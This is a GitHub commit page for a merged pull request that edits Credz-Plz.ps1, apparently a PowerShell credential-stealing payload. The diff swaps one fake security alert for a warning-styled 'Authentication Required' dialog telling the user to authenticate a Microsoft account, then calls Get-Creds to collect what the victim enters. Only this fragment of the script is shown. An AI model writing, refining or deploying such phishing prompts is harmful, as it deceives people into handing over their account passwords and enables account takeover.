Merge pull request #34 from Kavitate/patch-1

Updated Credz-Plz.ps1
This commit is contained in:
I-Am-Jakoby 2022-12-21 18:40:17 -06:00 committed by GitHub
commit 44b61015ee
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -118,9 +118,13 @@ Pause-Script
Caps-Off Caps-Off
Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName PresentationCore,PresentationFramework
$msgBody = "Please authenticate your Microsoft Account."
[System.Windows.Forms.MessageBox]::Show("Unusual sign-in. Please authenticate your Microsoft Account") $msgTitle = "Authentication Required"
$msgButton = 'Ok'
$msgImage = 'Warning'
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
Write-Host "The user clicked: $Result"
$creds = Get-Creds $creds = Get-Creds